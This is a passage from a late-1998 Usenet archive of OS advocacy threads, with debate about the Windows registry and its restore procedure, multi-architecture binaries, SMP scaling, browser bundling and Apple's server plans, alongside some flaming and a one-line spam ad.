References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com> <367e865f.0@news.slc.bfp.net>
In article <367e865f.0@news.slc.bfp.net>,
George <me@yes.it's.me> wrote:
> > This is the frustrating thing for us registry supporters. There should be an
> > icon on the desktop saying "Save settings to floppy". This would write the
> > registry to a floppy disk. If the system stopped working, you just pull out
> > the floppy disk that last worked and boot from it. It would ask you if you
> > wanted to restore the settings, you would say yes, and it would overwrite
> > your registry.
...
> > > Joe Cosby
>
> Microsoft has this method in their Windows95 manual. I have used this twice,
> and it worked well.
>
> Page 83
>
> To restore the registry
>
[long but v. useful article on registry save and restore snipped]
It is something of a disgrace that Microsoft made something that should be so
easy be so complicated. That was bad enough to be a list of ***x instructions.
I'm surprised they didn't give a perl script.
--
J.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Bill Frisbee" <bfrisbee@webengine-db.nospam.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <367E8ADC.449522C3@lmco.com>
Subject: Re: ms playground talk
Message-ID: <C1wf2.1310$J4.262436@news.shore.net>
Date: Mon, 21 Dec 1998 13:03:55 -0500
NNTP-Posting-Date: Mon, 21 Dec 1998 13:01:06 EDT
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
*PLONK*
Bill F.
somebody <someone@lmco.com> wrote in message
news:367E8ADC.449522C3@lmco.com...
>noone likes a copy-cat, liar or a bully
>
>bill can kiss my ass
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 21 Dec 1998 09:54:14 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77t2q6.j22.jedi@dementia.mishnet>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <757gfs$5td@news1.panix.com> <758kft$po6$2@nnrp03.primenet.com> <SCOTT.98Dec16115145@slave.doubleu.com> <75aps6$csu$1@bartlet.df.lth.se> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <SCOTT.98Dec21091016@slave.doubleu.com>
On 21 Dec 98 09:10:16, Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <75grbp$sa0$1@nnrp02.primenet.com>,
> John Jensen <jjens@primenet.com> writes:
> Scott Hess <scott@nospam.doubleu.com> wrote:
> : Someone has mentioned fat (multi-architecture) binaries, but that
> : could be trivially added to something like ELF in the same way as
> : NeXT added it to Mach-O. [Specifically, the hard part is
> : converting everyone to the new kernels that can execute the new
> : format - it's not making a format that does the job.]
>
> I'd rather have this handled at the package-management level. The
> distribution package should contain all binaries ... but the live
> installation should contain only what you need.
>
>Install your software on a server, then NFS mount it to an Intel
>machine and a PPC machine, both running MacOS X Server. Now how do
>you want it handled?
A filesystem standard on the server that can account
for multiple architecture binaries.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Linux preinstalled laptops?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy
Date: Mon, 21 Dec 1998 18:58:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75m5ol$i79$1@nnrp1.dejanews.com>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <366bcc63.62862541@news.earthlink.net> <367ce5a2.19125694@news.int-usa.net> <MPG.10e74e9fef3ce35898976a@news.dircon.co.uk> <367d607c.26266616@news.int-usa.net>
In article <367d607c.26266616@news.int-usa.net>,
wizard@mousam-river.com (John T Maguire) wrote:
[ ... ]
> K6 300 running at 4*87 does nothing but signal 11. It is rock stable
> under 98. I am NOT going to reduce the speed, nor can I have it off
> line for days while I sort out the problem.
You're overclocking your hardware and when it crashes you blame the operating
system. Good choice.
> Anyone want a Redhat 5.1 cheap?
No. I like Debian better. Followups redirected outta c.s.n.advocacy....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Date: Mon, 21 Dec 1998 10:36:11 -0700
From: George <me@yes.it's.me>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <367e865f.0@news.slc.bfp.net>
> This is the frustrating thing for us registry supporters. There should be an
> icon on the desktop saying "Save settings to floppy". This would write the
> registry to a floppy disk. If the system stopped working, you just pull out
> the floppy disk that last worked and boot from it. It would ask you if you
> wanted to restore the settings, you would say yes, and it would overwrite
> your registry.
>
> This wouldn't solve the DLL problem, of course. Microsoft haven't had the
> nerve to version DLL's and put them under registry control, which would have
> sorted out many of the problems with windows instability. It's strange that
> Microsoft are so often castigated for trying to control their industry, when
> so many of the problems with Windows are caused by a failure of nerve and
> unwillingness to impose standards.
>
> > Joe Cosby
Microsoft has this method in their Windows95 manual. I have used this twice,
and it worked well.
Page 83
To restore the registry
Start or restart your computer. Press F8 when booting. This should give you an
option screen. Next you should select Command Prompt Only. Then cd
C:\Windows, then do the following. The only problem is if the backups are not
good. I have never had this happen however.
attrib -h -r -s system.dat
attrib -h -r -s system.da0
attrib -h -r -s user.dat
attrib -h -r -s user.da0
Then type the following.
copy system.da0 system.dat
copy user.da0 user.dat
Then restart your computer. You can make backups of the system.dat and user.dat
to a Windows emergency repair disk. Which can be created in the control panel,
under add/remove. The Windows 95 CD also contains a default registry, which can
be extracted for severe cases. To view the .cab files on the CD, you can get
the free Microsoft PowerToy, called cabview. It's available on their website.
registry = combination of user.dat and system.dat
da0 = da0 last part is zero not O
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 21 Dec 1998 20:05:47 GMT
Organization: Primenet (602)416-7000
Message-ID: <75m9mr$6n6$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <75lv4l$uie$1@bartlet.df.lth.se>
Christian Brunschen <cb@bartlet.df.lth.se> wrote:
: In article <75grbp$sa0$1@nnrp02.primenet.com>,
: John Jensen <jjens@primenet.com> wrote:
: >Actually the package at a server site should contain all binaries, but
: >what gets downloaded to your machine should contain only what you need.
: This actually misses one important case:
: Where the client mounts the server's file system, and thus grabs the
: executable directly from there. Now, let there be clients of several
: different architectures that do this simultaneously. The nice packaging of
: executable code and the resources associated with that code into bundles,
: which is prevalent in the OpenStep / YellowBox world, means that a
: multi-architecture binary is a very good solution to the problem: You
: don't need to duplicate your resources, since those can be shared between
: the different architectures; and the client would grab just that section
: from the multi-architecture binary that it can execute.
This is a bit different of a problem domain. Before we go into it we
should ask what percentage of executables in the world are on shared disks
and what percentage are on local disk?
I'd estimate that 98% of all applications in-use are on a user's local
disk. Those users are better served by single-format installations.
A design should not burden the bulk of the users to satisfy a corner case.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 21 Dec 1998 20:11:33 GMT
Organization: Primenet (602)416-7000
Message-ID: <75ma1l$6n6$2@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <757gfs$5td@news1.panix.com> <758kft$po6$2@nnrp03.primenet.com> <SCOTT.98Dec16115145@slave.doubleu.com> <75aps6$csu$1@bartlet.df.lth.se>
<joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <SCOTT.98Dec21091016@slave.doubleu.com>
Scott Hess <scott@nospam.doubleu.com> wrote:
: In article <75grbp$sa0$1@nnrp02.primenet.com>,
: John Jensen <jjens@primenet.com> writes:
: I'd rather have this handled at the package-management level. The
: distribution package should contain all binaries ... but the live
: installation should contain only what you need.
: Install your software on a server, then NFS mount it to an Intel
: machine and a PPC machine, both running MacOS X Server. Now how do
: you want it handled?
I shouldn't have to ask you this if you were honestly considering formats
and their applications in Apple's market:
What percentage of the world's Macintoshes have an NFS mount to their
applications?
John
From: arc33@pantheon.yale.edu (Adrian Cybriwsky)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Date: 21 Dec 1998 20:56:09 GMT
Organization: Yale University
Message-ID: <75mcla$l15$1@news.ycc.yale.edu>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet>
<756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com> <slrn77suf7.ihs.jedi@dementia.mishnet>
jedi@dementia.mishnet wrote:
: On Mon, 21 Dec 1998 16:01:48 GMT, westprog@my-dejanews.com <westprog@my-dejanews.com> wrote:
: >In article <i1Te2.5038$2h4.7721@news7.ispnews.com>,
: They never set a sensible standard to begin with. Unix
: manages to avoid this DLL*hell situation despite having
: a total lack of central authority.
sigh.
so nice to see that linux/unix is free of shared library problems.
jedi: *plonk*
From: "Jordi Miralles" <jordimiralles@mx3.redestb.es>
Newsgroups: comp.sys.newton,comp.sys.next.advocacy
Subject: The acupunture earrings which help you to lose WEIGHT
Date: Mon, 21 Dec 1998 21:19:25 +0100
Organization: SERVICOM
Message-ID: <75ma9t$im5@wendy.mad.servicom.es>
www.aacupun.com
From: igb@patton-tm.East.Sun.COM (Iain Bason - Performance Development Tools)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
Date: 21 Dec 1998 23:07:24 GMT
Organization: Sun Microsystems Inc. - BDC
Message-ID: <75mkbc$ch2@walters.East.Sun.COM>
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu> <F42G4v.ALL@T-FCN.Net> <367DC47A.1D948B6@scanavia.com> <1dkdhhl.exln9z1yth4umN@tnt02dla210.escape.ca>
In article <1dkdhhl.exln9z1yth4umN@tnt02dla210.escape.ca>,
Gerry Beggs <gbeggs@escape.ca> wrote:
>Daniel Gayet <daniel@scanavia.com> wrote:
>
>> Do microkernel OS's suffer from the same asymptotic point of diminishing
>> returns as monolithic kernels in multiprocessor hardware? In other words,
>> will I get 4x the performance from a 4 processor machine if it uses a
>> microkernel, or will I get maybe only a 3.1x performance increase?
>
>I don't think this has anything to do with micro vs monolithic kernel.
I agree. There are different issues that come up when you scale
different OS architectures, but both monolithic and microkernel
ought to do okay. Caveat: I haven't tried it myself.
>In fact I don't think this is a software issue at all (or at least not
>entirely).
It's most definitely a software issue. Naturally, the software can't
make slow hardware faster, but it can certainly make fast hardware
slower.
>There's the problem that multiple CPU's must (in most cases) share the
>same system bus. Once the number of CPU's get very high, there will be
>lots of competition for the bus and CPU's will be made to wait more for
>every additional CPU you add.
>
>There's also overhead of scheduling multiple CPU's which isn't specific
>to a micro-kernel.
>
>In fact I think I remember from a course on Operating Systems I took a
>few years ago that there's not much point in going any higher than 16
>CPU's without specialized hardware a-la SuperComputers (and even 16
>seems a bit much).
Ooops. I'd better tell those guys over in Sun hardware to stop
shipping those 30-cpu SMP machines.
Seriously, you're correct that as the number of CPUs goes up the
communications requirements get *very* serious. That's why large
SMP machines are so expensive. It can be done, though, and it works
well for a wide variety of applications.
Iain
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 21 Dec 1998 15:22:27 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77tm1j.ksl.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net> <36789560.910B6785@yahoo.net> <MPG.10e6328ec1f84c0e989752@news.dircon.co.uk> <slrn77oajo.69k.jedi@dementia.mishnet> <MPG.10e678385bac722398975d@news.dircon.co.uk> <slrn77qvog.c0a.jedi@dementia.mishnet> <MPG.10e8c3a295d9444f989786@news.dircon.co.uk>
On Mon, 21 Dec 1998 21:06:18 -0000, John Murphy <jcmurphy@dircon.co.uk> wrote:
>In article <slrn77qvog.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
>wrote...
>
>> So, can we assume from that that english is your second or
>> tenth language?
>
>Your assumptions don't count. To prove it, I'll break one of the rules
>of good netiquette by correcting your own poor use of the language.
>
>"So, can we assume from that, that English is your second or tenth
>language?"
>
>It's still quite a clumsy question, but I wouldn't want to reinterpret
>what goes on inside your head. Having said that, the same question could
>have been asked of you. When you want to question my language skills
>again, bite your lip and count to ten. Try hard to remember how you made
>a fool of yourself on this occasion.
If you can be tripped up so easily, then the idea that
english isn't your first language or that you are a
machine is quite a valid one.
>
>Now, do you know what the word sarcasm means? When you are sure that you
>do, go back and look at where you jumped into this part of the thread,
>then let it go. It's really insignificant. You don't have to keep on
>behaving like a mad dog, chained up in the yard, desperately waiting for
>someone to walk past the gate, just so you can bark at them.
>
You've never had pets, have you?
>> Being actually able to restore your backup is a rather important
>> part of whatever disaster recovery you're trying to do.
>
>You don't say.
>
>> Fighting
>> with WinDOS and it's lack of a real tape drive device driver is
>> really quite annoying as I have stated on many occasions on this
>> group.
>
>Having to read your posts is a good enough reason to avoid "this" group.
Why? Has this aspect of WinDOS 4.x been remedied?
[deletia]
So? How does one make up a recovery floppy in WinDOS these days?
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "The Suarez Bunch" <rasiel@earthlink.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 18:37:15 -0600
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com> <distler-1712981602050001@cheshire.ph.utexas.edu>
Organization: EarthLink Network, Inc.
Message-ID: <75mpmk$am$1@fir.prod.itd.earthlink.net>
Jacques Distler wrote in message ...
...
>
>Ya can ship what you want. The question is whether you *force* people to
>install it. The browsers are optional installs in Linux distributions and
>MacOS 8.x.
>
>IE is *not* an optional install in Win '98. In fact, Microsoft claims that
>even *attempting* to remove it from the desktop will cause your computer
>to shrivel into dust.
>
>Methinks you are a troll.
>
I don't know about that. I have no reason why to use Netscape anymore what
with its inferior dns resolution and annoying aol hd spamming but if I did I
can always go to control panels>add remove programs and double-click on ie4.
again, i haven't done this myself so i guess you can flame me (and it's not
like i'd ever do that anyway).
morally speaking, ms is in every right of integrating ie as close as it
wants to within the os for better performance or whatever. windows is a de
facto monopoly but nobody is twisting any arms here - you CAN go out and buy
competing OSes. so bill's analogy of him being forced to include netscape on
the win98 being as ridiculous as forcing coke to ship a pepsi can on every
six-pack holds water. i would only have a problem if ms specifically
tampered with code to ensure a certain product wouldn't run. this would be
an unfair trade practice. and i do find fault in other areas (such as strong
arming pc makers to edge out other sw makers or else refuse to sell windows)
and while everyone whines about how awful microsoft is let's not be so
cynical as to forget that all of this browser mess is done on behalf of
another would-be monopoly. had it not been for them would the doj have gone
to bat for any of the other browser makers insignificant though their market
share is?
Ras
rasiel@yahoo.com
in hoc nominem puellae fornicat
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Tue, 22 Dec 1998 01:12:12 GMT
Organization: ICGNetcom
Message-ID: <368bf185.13044018@nntp.ix.netcom.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <bwyman-2112980659210001@bwyman.tiac.net> <36883bf2.89155759@news.dial.pipex.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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hoggett@airtime.no.spam.co.uk (Bill Hoggett) wrote:
>Oh, and let me get rid of those f*****g icon toolbars if I so choose.
You can disable systray, and you can use something other than Explorer
for your shell. You can use *any* executable as your shell in Windows.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 1998 03:21:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75n37s$lro@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <75dg7g$5nv$1@bartlet.df.lth.se> <SCOTT.98Dec20003313@slave.doubleu.com> <75m23f$3s4$1@bartlet.df.lth.se>
On 21 Dec 1998 18:55:59 +0100, Christian Brunschen <cb@bartlet.df.lth.se> wrote:
>This is mostly the case for cross-platform development, and for
>cross-platform deployment of _source code_. A common binary format would
>widen the scope of this to make cross-platform deployment of _binaries_
>much more viable. Yes, I know that there is already a large degree of this
>within ELF, for instance; but that does not, AFAIK, include
>multi-architecture support.
And that common binary format (for better and/or for worse) is the Java
JAR format.
It looks pretty obvious to me that JARs and JavaBeans are moving beyond
Applets in browsers and are being pluged into other dev tools. You can host
Beans in YellowBox. I've seen demos of Beans running in ActiveX and OpenDoc
parts. I'll eat my hat if there aren't people working on hosting Java
inside of GNOME and KDE Apps.
An Apple attempt at creating yet another "common binary" format is yet another
instance of Apple solving the wrong problem in the right way.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 1998 03:21:33 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75n37t$lro@news1.panix.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <367969ed.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-dWbOR7wbd7i7@localhost> <75gi0a$lcg@news1.panix.com> <FIiROLCWddLd-pn2-EOB1ltR6vkyY@localhost>
On 20 Dec 98 08:30:07 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>On Sat, 19 Dec 1998 15:50:34, sal@panix.com (Sal Denaro) thought
>aloud:
>> I didn't say anything about a toolkit. If you head over to:
>> ftp://ftp.accentcomm.com/pub/downloads/Rhapsody/NE2K-0.91b.html
>> you'll see the readme file of someone who used Linux driver code to
>> Rhapsody DR2 on Intel.
<<clip>>
>Nevertheless, although the above method of using Linux sources as a
>starting point isn't quite as automagic as I had pictured in my mind,
>it's still a valid approach to improve Mac OS X/Intel's hardware
>compatibility score. But even using this kind of manual Linux driver
>conversion the effort needed to give Mac OS X/Intel first class driver
>support would be a pretty huge undertaking whether it's done by Apple
>or by individual aficiados with time and skills on their side. So,
>unless Apple got their DriverKit spitting out Mac OS X and Linux
>compatible drivers and it became widely adopted by the Linux community
>I would still say that Linux has a clear advantage in hardware
>compatibility on the x86 platform.
I agree with your point, but how much hardware do you have to support
to hit 50% of the PC market? There are perhaps a dozen graphics chipset,
half dozen SCSI controllers and a handful of ethernet cards that are the
most common. Support those, and make IOKit open and the other common
ones will be filled in.
(BTW, few of the graphics chipsets out there are supported with HW
acceleration under Linux with XFree86. If Apple can put out a dozen,
the'll offer support comparable to Xfree86)
<<clip, advocacy for YB on Linux that no one seems to be disagreeing with;
other than the facts that prevent this in the short term>>
>In a recent study 58% (error margin ~10%) of enterprise users were
>looking forward to a credible competitor to Microsoft's offerings. The
>above mix should cater to most needs, wallets and levels of commitment
>rather well. And same should apply to the desktop users too.
The problem is that Apple has almost zero credibility in the enterprise
market. Support for Linux won't change that anymore than support for NT.
It will be years of WO success stories before Apple is seen as anything
more than a toy company.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 22 Dec 1998 03:21:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75n37u$lro@news1.panix.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <slrn77foq0.s7s.jedi@dementia.mishnet> <MPG.10e7209c437f7291989763@news.dircon.co.uk> <75jsgn$o5c$1@nnrp1.dejanews.com>
On Sun, 20 Dec 1998 22:08:24 GMT, Charles Swiger <chuck@codefab.com> wrote:
>> Yeah, but what's so hard about restoring it?
>Try restoring only part of it.
>What, you mean I can't restore just the registry entries for (going with a
>prior example) MS-Office and leave everything else intact?
Actually you can. (*)
>Or try determining what's different between the saved version and the one on
>the system (in order to figure out what broke).
Also something you can do (**)
>It's very important to have system configuration stuff and per-user
>configuration stuff be entirely distinct and seperable. Systems that fail to
>much such distinctions are a nightmare to administer....
I think that's why NT is a nightmare to administer.
(*) Assuming that you install the NT4 resource kit and the registry tools that
comes with it. You also have to do two sets of different installs of Office as
two different users and compare reg tree backups to build the proper comparison
files.
(**) Also something that you'll need the NT4 resource kit for.
If anyone wants my docs on how to do this (it wasn't written for office. I used
it for a large set of vertical Apps that had a very quirky (even by MS
standards) install) feel free to email me. This was one of those occasions
where it wasn't possible to "clone" a setup due to the HW dongle; nor was it
practical to do installs for each workstation. It tooks months of battling the
registry to get this done.
Our group refered to the various sets of .reg patches as kata, and the overall
practice as registry-kwon-do. While the registry didn't draw blood or break
bones, I sure wouldn't want to run across it in a dark alley somewhere.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 1998 03:23:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75n3c6$ls6@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <stevehix-2012981331250001@192.168.1.10>
On Sun, 20 Dec 1998 13:31:25 -0800, Steve Hix <stevehix@safemail.com> wrote:
>> > Sun has tried for a mass market desktop a few time and failed, dispite
>> > having plenty of momentum in other areas.
>Since when?
>I've been at Sun now for 13 years, and that's the first I've heard
>of this.
>
>JavaStations don't count, they're aimed at corporate and higher-
>education markets.
>
>Nothing else they sell comes closer than that. (A few people buying
>Ultra 5's or 10's for their own use doesn't count, either.)
By mass market I am not referring to the consumer segment, I am referring
to the large mainstream business market.
Remember OpenLook, WABI, "Public Windows API", OpenStep and then the CDE? They
were all hyped (to varying degrees) as what was needed to build up the
application base needed to push Sun and Unix outside of the traditional unix
niches and into the mainstream.
I sat in sales meeting where Sun pushed WABI as the best way to run Windows
Apps in corporate environment.
Remember the "low cost" SPARCs like the LX and that SPARC X Terminal (ELC?)
they were to be the machines that moved Sun outside of the unix market into
that brave new world.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 1998 03:23:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75n3c7$ls6@news1.panix.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost> <75coq3$hfr@news1.panix.com> <FIiROLCWddLd-pn2-tiJticsGbUP7@localhost> <75gipa$llq@news1.panix.com> <FIiROLCWddLd-pn2-OdsbnNVTd0Mz@localhost>
On 20 Dec 98 17:55:37 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>Isn't the alternative expected to surface internally not later than
>coming spring? What are all the other developers at Apple doing until
>then, considering MOSX Server and "real" MOSX are on parallel tracks?
>Meanwhile there could be planning and porting e.g. DriverKit stuff to
>Linux - whatever Apple's strategy and licensing decisions determine to
>be advantageous to Apple.
Right now a ton of work is being done on YellowBox, and most of that
work seems to be aimed at increasing hardware options. Making it thread
safe gives Apple options for SMP hardware. There are pretty solid rumors
that changes were made to improve performance for message passing on
non-mach platforms.
And IOKit is going to replace DriverKit, again to increase Apple's HW
choices.
>> I'm leaning toward a "browser in a box" view of the future.
>I'm sure the "NC-like" computer usage will become common eventually
>with consumer pricing coming down for hardware (set tops) and
>bandwidth is cheap and plentiful. Steve will then apply heavy doses of
>RDF to explain the convergence of TV's and computers... But these set
Steve thinks that convergence isn't going to happen. I'm still hoping
that it will. Nothing would make me happier than PCs that are as easy to
